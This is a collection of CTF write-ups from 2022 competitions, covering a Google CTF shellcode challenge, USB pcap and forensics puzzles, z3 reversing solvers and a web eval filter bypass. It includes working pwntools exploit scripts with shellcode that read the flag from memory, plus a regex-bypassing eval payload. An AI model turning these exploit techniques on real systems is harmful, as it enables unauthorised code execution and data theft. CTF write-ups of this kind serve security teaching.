shellcode = asm(f'''mov r15, rdimov r14, 10loop1: dec r14 lea rdi, [rip + filename] mov r13, 16 loop2: dec r13 mov rsi, qword ptr [r15 + r13*8] // need to skip over the 16 pointers for our stat buf add rsi, 16*8 mov eax, {constants.SYS_stat} syscall test rax, rax jne loop2 test r14, r14 je end mov r15, qword ptr [r15 + r13*8] jmp loop1end:mov rdi, 1mov rsi, qword ptr [r15 + r13*8]mov rdx, 100mov eax, {constants.SYS_write}syscallxor rdi, rdimov eax, {constants.SYS_exit}syscallfilename:''')
if args.D: print(disasm(shellcode))shellcode += b'flag.txt'assert(len(shellcode) < 0x1000)p.sendafter(b'Labyrinth\n',p64(len(shellcode)))p.send(shellcode)_ = p.recvline().decode().strip()p.close()print(_)```
### Intended Solution Alternative (no `stat`) `exploit3.1.py`
Same as above, but only using `write` and dealing with all the garbage:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./challenge', checksec=False)
if args.REMOTE: p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)else: p = process(binary.path)
shellcode = asm(f'''mov r15, rdimov rdi, 1mov rdx, 100mov r14, 10loop1: dec r14 mov r13, 16 loop2: dec r13 mov rsi, qword ptr [r15 + r13*8] mov eax, {constants.SYS_write} syscall cmp rax, 100 jne loop2 test r14, r14 je end mov r15, qword ptr [r15 + r13*8] jmp loop1end:xor rdi, rdimov eax, {constants.SYS_exit}syscall''')
if args.D: print(disasm(shellcode))assert(len(shellcode) < 0x1000)p.sendafter(b'Labyrinth\n',p64(len(shellcode)))p.send(shellcode)_ = p.recvall()[900:] # garbage collection_ = _[:_.find(b'\0')].decode().strip() # extract flag from garbagep.close()print(_)```
If `write` were the only option, or if the memory were `r--` (`stat` would fail to write), then this or my original solve is your best bet, however ...
### Leak Stack Alternative (portable and consistent) `exploit4.py`
Get stack leak from `fs:0x300`, then use the offset to the flag pointer; use GDB/GEF to figure it out:
```gef†p/x $fs_base+0x300$1 = 0x7f09746e7840gef†p/x {long}$1$2 = 0x7ffef1759330gef†grep CTF{[+] Searching 'CTF{' in memory[+] In (0x613efdd5000-0x613efdd6000), permission=rw- 0x613efdd5000 - 0x613efdd500b â "CTF{flag}\n"gef†vmmap stackStart End Offset Perm Path0x00007ffef173a000 0x00007ffef175b000 0x0000000000000000 rwx [stack]gef†find 0x00007ffef173a000, 0x00007ffef175b000-1, 0x613efdd50000x7ffef17590400x7ffef17590480x7ffef17591c83 patterns found.gef†p/x {long}$1 - 0x7ffef1759040$2 = 0x2f0```
#### `exploit4.py`:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./challenge', checksec=False)
if args.REMOTE: p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)else: p = process(binary.path)
shellcode = asm(f'''mov rsi, qword ptr fs:0x300mov rsi, qword ptr [rsi - 0x2f0]mov dl, 100mov al, {constants.SYS_write}mov rdi, raxsyscallmov al, {constants.SYS_exit}syscall''')
if args.D: print(disasm(shellcode)) log.info('len(shellcode) = {x}'.format(x = len(shellcode)))
assert(len(shellcode) < 0x1000)p.sendafter(b'Labyrinth\n',p64(len(shellcode)))p.send(shellcode)_ = p.recvline().decode().strip()p.close()print(_)```
> `rax` and `rdx` were reset before shellcode run; use `dl` and `al` to reduce payload.
29 bytes:
```bash# ./exploit4.py D=1 REMOTE=1[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done 0: 64 48 8b 34 25 00 03 mov rsi, QWORD PTR fs:0x300 7: 00 00 9: 48 8b b6 10 fd ff ff mov rsi, QWORD PTR [rsi-0x2f0] 10: b2 64 mov dl, 0x64 12: b0 01 mov al, 0x1 14: 48 89 c7 mov rdi, rax 17: 0f 05 syscall 19: b0 3c mov al, 0x3c 1b: 0f 05 syscall[*] len(shellcode) = 29[*] Closed connection to segfault-labyrinth.2022.ctfcompetition.com port 1337CTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}``` |
Not so hard, but there were two ways to do this
1) Google âhackerizedâ and try to input each character to get the output of the flag.
2) When I saw the flag, I noticed the first four letters were flag
I saw an other l, l33t maybe?
I couldnât tell if it was zero or âoâ, had to try it out, Uppercase or lowercase t/T?
The 4 was obvious
y/Y ?
This was some trial and error, took some major hits on the fails %
flag{too_l33t_4_you} |
# EngraverEngraver was a hardware challenge on [Google CTF 2022](https://capturetheflag.withgoogle.com/) that was involved recovering movements of a robotic arm engraving the flag from a pcap dump of commands sent to the device.
For the challenge we were given the mentioned pcap containing usb traffic and two images of the robot arm (one of the robot arm idle, one during the engraving process).
## Taking a look at the PCAPThe provided PCAP file contains a dump of USB traffic from a specific usb device. We can see the typical usb configuration packets being sent at the beginning (host fetching the usb descriptors) and afterwards we see a lot of URB interrupts from the host with HID data attached.
## Figuring out the hardware partFrom the images, we know that this is some sort of a robotic arm, but we have no idea how it is controlled outside of the fact it communicates over USB HID so first order of business is identifying the device.
A bit of googling of keywords like `robot arm` `blue` `arduino` yields some results that look very similar and have a common keyword in them: `xArm`.After researching the lead a bit more, xArm turns out to be a series of robot arm kits with a common controller. Then by searching github we can find [control scripts](https://gist.github.com/maximecb/7fd42439e8a28b9a74a4f7db68281071) that seem to communicate with the arm through USB HID commands.
## Recovering the instructions from PCWith a control script found, we can compare if the instructions it would send match the data we have in the pcap file:```python def move_to(self, id, pos, time=0): """ CMD_SERVO_MOVE 0x55 0x55 len 0x03 [time_lsb time_msb, id, pos_lsb pos_msb] Servo position is in range [0, 1000] """
t_lsb, t_msb = itos(time) p_lsb, p_msb = itos(pos) self.dev.write([0x55, 0x55, 8, 0x03, 1, t_lsb, t_msb, id, p_lsb, p_msb])```
We can see that when sending a signal to move a servo the computer sends the following static data `55 55 08 03 01` followed by information about the servo and the move it should make.
This lines up with the data we can see in a sample interrupt packet:
With the data matching up, we can now write a script to parse the servo movements from the pcap with [scapy](https://scapy.net/).```pythonfrom scapy.utils import RawPcapReaderfrom scapy.layers.usb import USBpcap
for (pkt_data, pkt_metadata,) in RawPcapReader('./engraver.pcapng'): pkt = USBpcap(pkt_data) if pkt.function != 9: continue # Not a USB interrupt if pkt.dataLength == 0: continue # Does not contain any data
data = pkt_data[-pkt.dataLength:]
length, cmd = data[2], data[3]
if cmd == 3: # Servo move t_lsb, t_msb, id, p_lsb, p_msb = data[5], data[6], data[7], data[8], data[9] time = t_msb << 8 | t_lsb pos = p_msb << 8 | p_lsb print(f'[{id}] T:{time:04}; POS:{pos:04}')```
With the dumped moves we can notice that while servos 1, 2 and 3 perform movements, servos 4, 5 and 6 receive the same position data every time.
From this we can assume that they aren't used and we can cut down on the amount of data needed to be visualized.
Another thing to note is that servo 1 only oscillates between 2300 and 2400, a slight movement like that could possibly be used to turn on/off the laser pointer.
## Visualizing the dataNow that we know which servos move and how they are moving, we can try to visualize the data.
I opted for visualizing the data in the form of frames that would hopefully contain each character separately.
To separate the frames from each other we can use the servo 6's position setting as it only seems to get re-set after a couple of movements of servo's 1/2/3 have already been executed
```pythonfrom scapy.utils import RawPcapReaderfrom scapy.layers.usb import USBpcapfrom PIL import Image, ImageDraw
positions = { 2: 1000, 3: 1000,}
img = Image.new('RGB', (1500, 1500), 'white')imgd = ImageDraw.Draw(img)draw = Falseframe = 0
for (pkt_data, pkt_metadata,) in RawPcapReader('./engraver.pcapng'): pkt = USBpcap(pkt_data) if pkt.function != 9: continue # Not a USB interrupt if pkt.dataLength == 0: continue # Does not contain any data
data = pkt_data[-pkt.dataLength:]
length, cmd = data[2], data[3]
if cmd == 3: # Servo move t_lsb, t_msb, id, p_lsb, p_msb = data[5], data[6], data[7], data[8], data[9] time = t_msb << 8 | t_lsb pos = p_msb << 8 | p_lsb
# Skip servos we don't care about if id not in [1, 2, 3, 6]: continue
print(f'[{id}] T:{time:04}; POS:{pos:04}') # Determine if the laser is turned on if id == 1: draw = pos == 2400 # If the position is 2400 we're turning it on
# If we're drawing, draw a line from the previously saved position to the new one if draw: if id == 2: imgd.line([ (positions[2], positions[3]), (pos - 1000, positions[3]) ], fill='red', width=20) if id == 3: imgd.line([ (positions[2], positions[3]), (positions[2], pos - 1000) ], fill='red', width=20) print(positions)
# Servo 6 was re-set so we can save the current frame and re-set the canvas if id == 6: draw = False # Flip the image so it's readable img = img.transpose(Image.FLIP_LEFT_RIGHT) img = img.transpose(Image.FLIP_TOP_BOTTOM) # Save the frame img.save(f'./imgs/{frame:4}.jpg')
# Initialize a new image for the next frame img = Image.new('RGB', (1500, 1500), 'white') imgd = ImageDraw.Draw(img) frame += 1 # Save the position of the servos for the future - offset for drawing purposes positions[id] = pos - 1000 ```
The following code then produces a series of images that contain the movements of the robot arm:
From those, we can read the flag characters (some of the characters have parts split between two frames) remembering that the description mentioned all of them being uppercase: `CTF{6_D3GREES_OF_FR3EDOM}` |
# Fun with NASL
The task for this challenge is to fix all the errors found in the nasl script.Most of the errors are common errors found in other languages, so prior programming experience should greatly help with this task (No prior knowledge of NASL should be required).
The first error is in line number 20, which is missing a semicolon.The second error is in line number 33, which contains a type (rt should be ret).The third error (which was probably the hardest one) is in line number 71, which is specifying the parameter as a. Removing the `a:` should resolve the error.The final error is in line 5, which is adding an integer with a list ([3] should be 3).
After resolving the errors, we need to pass the line numbers of each error and pass it as an argument to get the flag.Looking at the end of the code, it seems like the parameter is supposed to be line_numbers, with each number separated by a comma.I ran the command below to get the flag.
`/opt/nessus/bin/nasl -W -P 'line_numbers=20,33,71,5' script.nasl` |
TL;DR: Multiple concatenated zip files with the following EOCD records (end of central directory)
```abcdefghijklmnopqrstuvwxyz{CTF0137}_TF0137}_F0137}_0137}_abcdefghijklmnopqrstuvwxyz{CTF0137}_CTF0137}_qrstuvwxyz{CTF0137}_137}_tuvwxyz{CTF0137}_}_nopqrstuvwxyz{CTF0137}_137}_efghijklmnopqrstuvwxyz{CTF0137}_7}_stuvwxyz{CTF0137}_opqrstuvwxyz{CTF0137}_
{CTF0137}_37}_qrstuvwxyz{CTF0137}__```The 0th is a dictionary, the other lines are substrings of it, encoding the letter before it, so `TF0137}_` -> C, `F0137}_` -> T...
[Full writeup](http://sigflag.at/blog/2022/writeup-googlectf2022-appnote/) |
We are given 2 ad files to work with. I used FTK Imager (using Wine) and loaded the files.
I exported the "AD1\Users\adminbot6000\AppData\Local\Roblox" directory for me to process the files easier. I then ran the command below to search for all occurrence of the word "username" in the exported files.
grep -ir username *
logs/0.531.0.5310423_20220620T010041Z_Player_32F43_last.log:{"jobId":"2e2cd744-bd87-4058-b004-b8d7fbadfa4f","status":2,"joinScriptUrl":"https://assetgame.roblox.com/Game/Join.ashx?ticketVersion=2&ticket=%7b%22UserId%22%3a3635455297%2c%22UserName%22%3a%22ftcsvisgreat%22%2c%22DisplayName%22%3a%22ftcsvisgreat%22%2c%22CharacterFetchUrl%22%3a%22https%3a%2f%2fapi.roblox.com%2fv1.1%2favatar-fetch%2f%3fplaceId%3d2753915549%26userId%3d3635455297%22%2c%22GameId%22%3a%222e2cd744-bd87-4058-b004-b8d7fbadfa4f%22%2c%22PlaceId%22%3a2753915549%2c%22UniverseId%22%3a994732206%2c%22ServerId%22%3a120723%2c%22ServerPort%22%3a63376%2c%22IsTeleport%22%3afalse%2c%22FollowUserId%22%3anull%2c%22TimeStamp%22%3a%226%2f19%2f2022+8%3a00%3a48+PM%22%2c%22CharacterAppearanceId%22%3a3635455297%2c%22AlternateName%22%3anull%2c%22JoinTypeId%22%3a10%2c%22MatchmakingDecisionId%22%3a%22eb589108-ee1a-4296-bec1-155c06a33693%22%2c%22GameJoinMetadata%22%3a%7b%22JoinSource%22%3a0%2c%22RequestType%22%3
Looking closely at the result, you'll notice that there is a parameter named "UserName" in the "joinScriptUrl."
Flag: vsctf{ftcsvisgreat} |
TL;DR: You start with `Alice Bobsonâs password is CTF{` and then brute force it character for character.
[Full writeup](http://sigflag.at/blog/2022/writeup-googlectf2022-mlsteal/) |
We are given a file with ASCII letters. Searching for "APERTURE IMAGE FORMAT (c) 1985" on Google, we find out that it is a specific file format used in Portal (http://portalwiki.asshatter.org/index.php/Aperture_Image_Format.html). I downloaded one of the Windows Binaries from the website (Method 1) and swapped out the APF file with the file given, but the image did not load.
I compared the original APF file with the mayday file and noticed that the original file did not include the 2nd and 3rd line. I deleted them ran the executable again, which successfully resulted in the message "THE SHIP IS STOLEN"
Flag: vsctf{THESHIPISSTOLEN} |
# Sanity Check
### Prompt
### SolutionViewing the source of the website given, you will find the flag hidden in the comment.
**Flag**: vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!} |
# Discord
### Prompt
### SolutionThe flag can be found in the announcement channel of the discord server.
**Flag**: vsctf{w3lc0m3_t0_vsctf_2022!} |
TL;DR: 0. Set network to zeros1. Probe a single input via a weight from input -> layer 1, neuron 02. Create a lower-than function with a bias weight and relu: relu(-input + bias) <=> 0 if weight lower than bias, >0 if bigger than bias3. Forward layer 1, neuron 0 to output layer -> will trigger if >04. Repeat for all inputs and multiple biases to get an oracle for all pixels
[Full report](http://sigflag.at/blog/2022/google_ctf_2022_ocr/) |
# Recovery
### Prompt
### SolutionReverse the given python script.
**Flag**: vsctf{Th353_FL4G5_w3r3_inside_YOU_th3_WH0L3_T1M3}
|
# Baby Eval:Web:435ptsYet another baby challenge⊠[https://babyeval-twekqonvua-uc.a.run.app/](https://babyeval-twekqonvua-uc.a.run.app/)
# SolutionURLãæž¡ãããã®ã§ã¢ã¯ã»ã¹ãããšããœãŒã¹ãªã©åçš®æ
å ±ã衚瀺ãããŠãããµã€ãã§ãã£ãã [site.png](site/site.png) ãœãŒã¹ãèŠããšä»¥äžã®ããã§ãã£ãã ```jsconst express = require('express');const app = express();
function escape(s) { return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");}
function directory(keys) { const values = { "title": "View Source CTF", "description": "Powered by Node.js and Express.js", "flag": process.env.FLAG, "lyrics": "Good job, youâve made it to the bottom of the mind control facility. Well done.", "createdAt": "1970-01-01T00:00:00.000Z", "lastUpdate": "2022-02-22T22:22:22.222Z", "source": require('fs').readFileSync(__filename), };
return "<dl>" + keys.map(key => `<dt>${key}</dt><dd>${escape(values[key])}</dd>`).join("") + "</dl>";}
app.get('/', (req, res) => { const payload = req.query.payload;
if (payload && typeof payload === "string") { const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload); if (matches) { res.status(400).send(matches.map(i => `${i}`).join("")); } else { res.send(`${eval(payload)}`); } } else { res.send(directory(["title", "description", "lastUpdate", "source"])); }});
app.listen(process.env.PORT, () => { console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);});````"flag": process.env.FLAG`ã«ãã©ã°ãããããã`directory("flag")`ãåŒã³åºãã°returnãããããšããããã `/`ãžã®ã¢ã¯ã»ã¹ã®æåãèŠããš`req.query.payload`ãšã¯ãšãªãåãåããæ£èŠè¡šçŸã§ãã£ã«ã¿ããã®ã¡ã«ãevalããŠããã `[\.\(\)'"\[\]\{\}<>_$%\\xu^;=]`ãããã¯ã§ããéåžžéãã®èšè¿°ã§é¢æ°ã¯åŒã³åºããªããšæããããã`` alert`test` ``ã§æååãåŒæ°ãšããŠé¢æ°ãå®è¡ã§ããããšãæãåºãã `` directory`flag` ``ãšããŠããã°ããã `` https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag` ``ã«ã¢ã¯ã»ã¹ããã [flag.png](site/flag.png) flagãåŸãããã
## vsctf{regExAinâtGoodEnufForWAF} |
In this challenge, we need to exploit a runner.cc that takes binary input and passes it to v8::ScriptCompiler::CachedData, which is to be executed. After some investigation, we found that we can use such primitive to execute arbitrary V8 bytecode. It turns out that V8 bytecode execution has many out-of-bound primitives that can be exploited because they are deemed as trusted input by V8. The final solution utilizes an out-of-bound read in CreateArrayLiteral to fetch a faked ArrayBoilerplateDescription, leading to an object faking primitive and thus code execution with regular exploitation technique. |
# BCACTF 3.0: Jump Rope
## Description
Here at BCA, we take fitness very seriously. Lately, our gym teachers have been stressing jumproping as cardio... I'm not too good at it yet though, but I think you might be able to show me how it's done!
[Original Writeup](https://github.com/Safemood/bcactf-3-2022-jump-rope) https://github.com/Safemood/bcactf-3-2022-jump-rope |
Lost Assignment involved an XML file that included a circuit scheme. I googled the "include" statements at the top of the file, which lead me to a free tool called LogiSim. This is a program that allows you to create, edit, visualize, and interact with circuit diagrams. The goal was to get the numeric display to show the number "4" in a premade circuit. At first I flipped a few inputs to get a better understanding of which input to the component was responsible for which line on the display. It quickly became apparent which lines I needed to flip and from there I could work back the lines to each input through their respective logic. Granted it's important to know what the different logic gate operators look like. After this I took the bits at the top, and tried submitting these directly: vsctf{0110001011000010001111101001}. This wasn't correct and after conferring with the crew, I used cyberchef to convert them from 7bit binary to ASCII, which got the correct flag: vsctf{10Gi} |
# zzz.py
```py
from z3 import *
s = Solver()
a = [BitVec(f'a{i}', 64) for i in range(35)]
l = [ 0x76, 0x26, 0x2f, 0xfd, 0x91, 0xec, 0x37, 0xde, 0x66, 0x70, 0x1e, 0x8a, 0x5a, 0x46, 0xa8, 0x63, 0xb7, 0xf0, 0xa3, 0x24, 0x61, 0xc1, 0x2b, 0xa0, 0xd6, 0x50, 0x4f, 0x92, 0x9b, 0x52, 0xcb, 0xe8, 0xed, 0x4b, 0xf1, 0x4d, 0x01, 0x8e, 0x9c, 0xca, 0x5f, 0x34, 0x64, 0x97, 0x23, 0xc7, 0xee, 0x18, 0x6a, 0x72, 0x3c, 0xf6, 0x32, 0xd3, 0x6e, 0x08, 0x3b, 0xb3, 0xb8, 0xab, 0xf4, 0x29, 0xc2, 0x67, 0x1f, 0xe2, 0x59, 0xad, 0xe5, 0x81, 0xbe, 0x7b, 0x9f, 0xa1, 0x10, 0x90, 0xfc, 0xb2, 0xff, 0x41, 0x33, 0xa2, 0x42, 0xcc, 0x69, 0x62, 0x68, 0x22, 0xb9, 0x96, 0x71, 0xe6, 0x21, 0x40, 0x3f, 0xdc, 0x93, 0xbb, 0x44, 0x7c, 0xd4, 0xcf, 0xe3, 0xf7, 0x78, 0x31, 0x85, 0x79, 0x95, 0x27, 0xda, 0xf5, 0x4e, 0x7f, 0x20, 0xa6, 0xe0, 0xe1, 0x7e, 0x3d, 0xd5, 0xaf, 0x8d, 0xfa, 0xb1, 0xe9, 0xaa, 0x1b, 0x49, 0x58, 0xe7, 0x0d, 0x47, 0xbc, 0xe4, 0x04, 0x17, 0xb0, 0xc8, 0x4a, 0x02, 0x99, 0x6d, 0xdf, 0xdd, 0x65, 0x09, 0x7d, 0x6f, 0x0b, 0xc4, 0x19, 0x1d, 0xfe, 0xd7, 0x5b, 0x06, 0xa4, 0xf3, 0xa9, 0x2d, 0xc0, 0x9a, 0x53, 0x89, 0x16, 0xa5, 0xbd, 0x74, 0x2a, 0x05, 0xc5, 0x6b, 0xd9, 0xf8, 0xfb, 0x39, 0x2c, 0x5d, 0xd0, 0x3e, 0xbf, 0x03, 0x7a, 0x94, 0xc9, 0x1c, 0x25, 0x5e, 0x11, 0xf2, 0x8f, 0x5c, 0x14, 0xeb, 0x45, 0x9d, 0x38, 0x86, 0x98, 0x1a, 0xb4, 0x28, 0x51, 0x0c, 0x13, 0xac, 0x0a, 0x35, 0x82, 0xb6, 0x8b, 0x30, 0x75, 0xd8, 0x00, 0xef, 0xba, 0xc3, 0xae, 0xf9, 0x9e, 0x4c, 0x0e, 0x77, 0x57, 0xd1, 0x6c, 0xdb, 0x3a, 0x07, 0xcd, 0x54, 0x8c, 0x15, 0x88, 0x2e, 0xd2, 0xa7, 0xea, 0x55, 0xc6, 0xce, 0xb5, 0x43, 0x0f, 0x56, 0x60, 0x83, 0x80, 0x84, 0x36, 0x87, 0x12, 0x48, 0x73 ]
for i in range(35): s.add(Or(a[i] == ord('-'), And(a[i] >= ord('A'), a[i] <= ord('Z')), And(a[i] >= ord('a'), a[i] <= ord('z')), And(a[i] >= ord('0'), a[i] <= ord('9'))))
s.add(a[26] + a[24] + a[15] + a[13] + a[4] + a[2] + a[0] + a[28] == 486)s.add(a[1] * a[0] - a[4] + a[12] * a[13] - a[16] + a[24] * a[25] - a[28] == 13713)s.add(a[27] * a[14] * a[3] - a[15] * a[2] * a[25] == -6256)s.add((a[1] - a[3]) * a[4] == 48)s.add((8 * a[13] - 4 * a[15]) * a[14] == 20604)s.add((4 * a[28] - 4 * a[0]) * a[27] == -5616)
for i in range(35): v5 = If(And(i%12 <= 4, (Or(Or(ord('Z') < a[i], a[i] < ord('0')), And(ord('9') < a[i], a[i] < ord('A'))))), 0, 1)
v1 = If(And(a[4] - a[3] - a[2] - a[1] + a[0] * a[0] == 6744, a[16] - a[15] - a[14] - a[13] + a[12] * a[12] == 2405, a[28] - a[27] - a[26] - a[25] + a[24] * a[24] == 4107), 1, 0)v2 = If(And(a[14] <= 57, (a[14] + a[24]) * (a[28] - a[1]) == -1508), 1, 0)
s.add(v1 == 1)s.add(v2 == 1)s.add(v5 == 1)
for i in range(35): if i not in [5, 11, 17, 23, 29]: s.add(a[i] != ord('-'))
s.add(a[5] == ord('-'))s.add(a[11] == ord('-'))s.add(a[17] == ord('-'))s.add(a[23] == ord('-'))s.add(a[29] == ord('-'))
ll = [0] * 15
xx = [ 6, 7, 8, 9, 10, 18, 19, 20, 21, 22, 30, 31, 32, 33, 34 ]
vv5 = 0vv6 = 0for i in range(15): vv5 = (vv5 + 1) % 256 vv6 = (vv6 + (l[vv5] & 0xff)) % 256 v4 = l[vv5] & 0xff l[vv5] = l[vv6] & 0xff l[vv6] = v4 a[xx[i]] ^= (l[((l[vv5] & 0xff) + (l[vv6] & 0xff)) & 0xff] & 0xff)
vv8 = 0a2 = 15gg = []
while vv8 < a2: vv7 = 0 vv3 = 0 vv12 = [0] * 4 while True: if vv7 <= 2 and vv8 < a2: vv3 = (vv3 << 8) | (a[xx[vv8]] & 0xff) vv8 += 1 vv7 += 1 else: break vv4 = vv3 << (8 * (3 - vv7)) for i in range(4): if vv7 >= i: vv12[i] = (vv3 >> (6 * (3 - i))) & 0x3F else: vv12[i] = 64 gg.append(vv12[i])
ppp = [39, 17, 24, 4, 25, 35, 3, 46, 42, 49, 45, 37, 11, 60, 11, 58, 4, 26, 45, 2]
for i in range(20): s.add(gg[i] == ppp[i])
print(s.check())
m = s.model()
flag = {}
for d in m.decls(): flag[int(d.name()[1:])] = m[d].as_long()
w = ''
for i in sorted(flag): w += chr(flag[i])
print(w)
```# Key: SE8D0-vsctf-2K31P-4begi-AD648-nnerz
# FLAG
**`vsctf{you_are_good_at_z3,but_maybe_i_should_play_genshin_impact_first?}`**
|
# Opensesame (1 of 2)
## Solution
We are given a zip file containing an html page and two js files, if we open the page we are presented with

this basically validates a code we put inside and tells us if it's correct.
Opening the html file and inspecting it we can see that the code we input is checked and if it is correct it decrypts an image.
After a bit of beautifying and renaming we get these functions
```jsfunction first_check(inputstr) { if (typeof inputstr != 'string') return ![]; if (inputstr['length'] != 0x22) return ![]; return q1 = reverseinput(inputstr), q1 = x3(q1), q2 = x4(q1), x5(q2);}```
I removed the debugger statements in order to debug the script without hassle, after the length check the string is reversed (noticed by breaking at that function return), then 3 checks are made.
```jsfunction x3(arg) { var localin = somefun; a = [], ss = [ [0x10, 0x18], [0x1f, 0x13], [0xf, 0x17], [0x1e, 0x12], [0x9, 0x14], [0x1c, 0x1d], [0x16, 0x1a], [0x11, 0x21], [0x15, 0x19], [0xd, 0x7], [0xb, 0x1], [0x4, 0x0], [0xc, 0x20], [0x6, 0x2], [0x3, 0x1b], [0x8, 0xe], [0x5, 0xa] ]; for (i = 0x0; i < ss[localin(0x1e8)]; i++) { s = ss[i], a[s[0x0]] = arg[s[0x1]], a[s[0x1]] = arg[s[0x0]]; } return a['join']('');}```
`x3` basically swaps the characters positions by using `ss` as the array of positions, `x4` we can notice by debugging that converts the characters to integers.`x5` is the last check and this is the most important one, it performs some computation on the values of the characters and compares them to some values, this is basically a job for [z3](https://github.com/Z3Prover/z3), a popular theorem prover, here is the script that solves the challenge.
```pyfrom z3 import BitVec, Solver, Andi = [BitVec('i_'+str(x), 8) for x in range(0x22)]s = Solver()scrambled = [ None for x in range(0x22)]subs = [[0x10,0x18],[0x1f,0x13],[0xf,0x17],[0x1e,0x12],[0x9,0x14],[0x1c,0x1d],[0x16,0x1a],[0x11,0x21],[0x15,0x19],[0xd,0x7],[0xb,0x1],[0x4,0x0],[0xc,0x20],[0x6,0x2],[0x3,0x1b],[0x8,0xe],[0x5,0xa]]reversedi = i[::-1]for x in subs: scrambled[x[0]] = reversedi[x[1]] scrambled[x[1]] = reversedi[x[0]]s.add(And(scrambled[0x7] + scrambled[0xf] == 0xa3 , scrambled[0x1f] + scrambled[0xd] == 0xac , scrambled[0x17] + scrambled[0x20] == 0xa9 , scrambled[0x14] + scrambled[0x11] == 0x97 , scrambled[0x1b] + scrambled[0xe] == 0x93 , scrambled[0x12] == 0x67 , scrambled[0x19] - scrambled[0xc] == -0xd , scrambled[0xb] * scrambled[0xa] == 0xaf5 , scrambled[0x5] - scrambled[0x1a] == -0x9 , scrambled[0x1e] * scrambled[0x9] == 0x1f44 , scrambled[0x3] * scrambled[0x0] == 0x2698 , scrambled[0x1d] + scrambled[0x16] == 0xa7 , scrambled[0x18] - scrambled[0x4] == -0x48 , scrambled[0x10] + scrambled[0x1] == 0xcb , scrambled[0x8] == 0x31 , scrambled[0x1c] - scrambled[0x2] == 0x4a , scrambled[0x15] * scrambled[0x6] == 0x2b6b , scrambled[0x13] + scrambled[0x21] == 0xc0 , scrambled[0x7] - scrambled[0xf] == 0x3d , scrambled[0x1f] + scrambled[0xd] == 0xac , scrambled[0x17] - scrambled[0x20] == 0x3b , scrambled[0x14] + scrambled[0x11] == 0x97 , scrambled[0x1b] - scrambled[0xe] == 0xb , scrambled[0x12] * scrambled[0x19] == 0x2639 , scrambled[0xc] - scrambled[0xb] == 0x35 , scrambled[0xa] - scrambled[0x5] == -0x38 , scrambled[0x1a] + scrambled[0x1e] == 0xb9 , scrambled[0x9] - scrambled[0x3] == 0xc , scrambled[0x0] - scrambled[0x1d] == -0x18 , scrambled[0x16] == 0x30 , scrambled[0x18] * scrambled[0x4] == 0x19e1 , scrambled[0x10] == 0x6c , scrambled[0x1] == 0x5f , scrambled[0x8] + scrambled[0x1c] == 0xac , scrambled[0x2] * scrambled[0x15] == 0x122f , scrambled[0x6] * scrambled[0x13] == 0x2c55 , scrambled[0x21] == 0x5f , scrambled[0x7] + scrambled[0xf] == 0xa3 , scrambled[0x1f] == 0x48 , scrambled[0xd] - scrambled[0x17] == -0xe , scrambled[0x20] == 0x37 , scrambled[0x14] * scrambled[0x11] == 0x1386 , scrambled[0x1b] * scrambled[0xe] == 0x14fc , scrambled[0x12] * scrambled[0x19] == 0x2639 , scrambled[0xc] * scrambled[0xb] == 0x1734 , scrambled[0xa] == 0x33 , scrambled[0x5] - scrambled[0x1a] == -0x9 , scrambled[0x1e] * scrambled[0x9] == 0x1f44 , scrambled[0x3] == 0x68 , scrambled[0x0] + scrambled[0x1d] == 0xd6 , scrambled[0x16] == 0x30 , scrambled[0x18] - scrambled[0x4] == -0x48 , scrambled[0x10] + scrambled[0x1] == 0xcb , scrambled[0x8] + scrambled[0x1c] == 0xac , scrambled[0x2] + scrambled[0x15] == 0x90 , scrambled[0x6] == 0x75 , scrambled[0x13] + scrambled[0x21] == 0xc0 , scrambled[0x7] == 0x70 , scrambled[0xf] + scrambled[0x1f] == 0x7b , scrambled[0xd] * scrambled[0x17] == 0x2c88 , scrambled[0x20] * scrambled[0x14] == 0xa87 , scrambled[0x11] + scrambled[0x1b] == 0xb5 , scrambled[0xe] + scrambled[0x12] == 0xab , scrambled[0x19] + scrambled[0xc] == 0xcb , scrambled[0xb] * scrambled[0xa] == 0xaf5 , scrambled[0x5] - scrambled[0x1a] == -0x9 , scrambled[0x1e] - scrambled[0x9] == -0x2f , scrambled[0x3] * scrambled[0x0] == 0x2698 , scrambled[0x4] == 0x7d))print(s.check())m = s.model()password = ""for x in i: password += chr(m[x].as_long())print(password)```
There are probably other ways of solving it, and I'm not mad, I didn't manually insert and edit all the constraints inside the script, I used vim macros to do it!
The script returns us the correct code, which is the flag, `flag{wh0_l3t_tHE_5r1p7_k1Dd13_Ou7}`, using it on the web page an image is shown, this is the second part of the challenge.
# Opensesame (1 of 2)
## Solution
Here is the image from the previous part

It is basically a [Karnaugh map](https://en.wikipedia.org/wiki/Karnaugh_map), inspecting the image (the one in the repo is compressed so you won't find it) with an hex editor we can see that at the end of the file, there is a base64 string, decoding it gets us a zip file that has a txt file inside.
